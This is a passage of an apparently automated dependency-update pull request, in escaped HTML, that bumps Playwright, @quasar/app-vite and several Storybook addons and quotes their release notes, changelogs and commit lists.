AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.64.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@quasar/app-vite` from 3.10.2 to 3.10.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/quasarframework/quasar/releases\"\u003e@​quasar/app-vite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​quasar/app-vite-v3\u003c/code\u003e.10.3\u003c/h2\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(app-vite): dev server -\u0026gt; the first visit to a lazy route no longer triggers a full page reload (Vite's \u0026quot;optimized dependencies changed. reloading\u0026quot;, hidden at the default \u003ccode\u003elogLevel: 'warn'\u003c/code\u003e), which was dropping app state and the navigation itself, and making e2e specs fail at random. Vite's dependency scanner was reading \u003ccode\u003eindex.html\u003c/code\u003e from disk, where Quasar's entry script is not yet injected, so it never found anything to pre-bundle; it now starts from the generated client entry too. With \u003ccode\u003ebuild.filenameBasedRouting\u003c/code\u003e the page components are scanned directly as well, since the scanner cannot see through the virtual \u003ccode\u003evue-router/auto-routes\u003c/code\u003e module (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix(app-vite): dev server with \u003ccode\u003ebuild.vueJsx\u003c/code\u003e -\u0026gt; Vite's dependency scanner now compiles \u003ccode\u003e.jsx\u003c/code\u003e/\u003ccode\u003e.tsx\u003c/code\u003e files against Vue's JSX runtime as well; before, it would have failed the whole scan with \u0026quot;could not resolve react/jsx-dev-runtime\u0026quot; once it reached a JSX component (\u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDonations\u003c/h2\u003e\n\u003cp\u003eQuasar Framework is an open-source MIT-licensed project made possible due to the \u003cstrong\u003egenerous contributions\u003c/strong\u003e by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sponsors/rstoenescu\"\u003eBecoming a sponsor on Github\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://paypal.me/rstoenescu1\"\u003eOne-off donation via PayPal\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/1a3bcbbc2d16541f5ace6ce9e064c4c48829da7c\"\u003e\u003ccode\u003e1a3bcbb\u003c/code\u003e\u003c/a\u003e chore(app-vite/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/f887b70088bef858239584e9ba90de6c75693f7b\"\u003e\u003ccode\u003ef887b70\u003c/code\u003e\u003c/a\u003e fix(app-vite): scan the filename-based routing folders for dependencies \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/cef449f1b1169def657c6a48364074392ed1fc9f\"\u003e\u003ccode\u003ecef449f\u003c/code\u003e\u003c/a\u003e fix(app-vite): give Vite's dep scanner the build.vueJsx runtime \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/9765d03bb17a219f19b6dfcd951eb5dff4f8feda\"\u003e\u003ccode\u003e9765d03\u003c/code\u003e\u003c/a\u003e fix(app-vite): point Vite's dep scanner at the dev client entry \u003ca href=\"https://github.com/quasarframework/quasar/tree/HEAD/app-vite/issues/18572\"\u003e#18572\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/e7892cd249b848df043770e260f5c2844cd70e83\"\u003e\u003ccode\u003ee7892cd\u003c/code\u003e\u003c/a\u003e chore(ui/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/ec799eb3b50e9715e54861a826000683d12fae45\"\u003e\u003ccode\u003eec799eb\u003c/code\u003e\u003c/a\u003e chore(ui): bump version\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/quasarframework/quasar/commits/@quasar/app-vite-v3.10.3/app-vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-a11y` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-a11y's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-a11y's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/9b4e295a7f994b6496cb1fdd50b436dd64925cca\"\u003e\u003ccode\u003e9b4e295\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.2\u0026quot; to \u0026quot;10.6.3\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/5f00d7d0a78e069aa304bdb886da923e012ef2e0\"\u003e\u003ccode\u003e5f00d7d\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.1\u0026quot; to \u0026quot;10.6.2\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/243c06bf8f1e2f09446c44868ea100261e1374da\"\u003e\u003ccode\u003e243c06b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://github.com/storybookjs/storybook/tree/HEAD/code/addons/a11y/issues/36726\"\u003e#36726\u003c/a\u003e from storybookjs/sidnioulz/patch-internal-v11\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/storybookjs/storybook/commits/v10.6.3/code/addons/a11y\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-docs` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-docs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-docs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/9b4e295a7f994b6496cb1fdd50b436dd64925cca\"\u003e\u003ccode\u003e9b4e295\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.2\u0026quot; to \u0026quot;10.6.3\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/5f00d7d0a78e069aa304bdb886da923e012ef2e0\"\u003e\u003ccode\u003e5f00d7d\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.1\u0026quot; to \u0026quot;10.6.2\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/d0c7fa22afe21a7b42828575813419b1628812ed\"\u003e\u003ccode\u003ed0c7fa2\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://github.com/storybookjs/storybook/tree/HEAD/code/addons/docs/issues/36526\"\u003e#36526\u003c/a\u003e from storybookjs/validate/preact-11\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/storybookjs/storybook/commits/v10.6.3/code/addons/docs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-links` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-links's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-links's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca 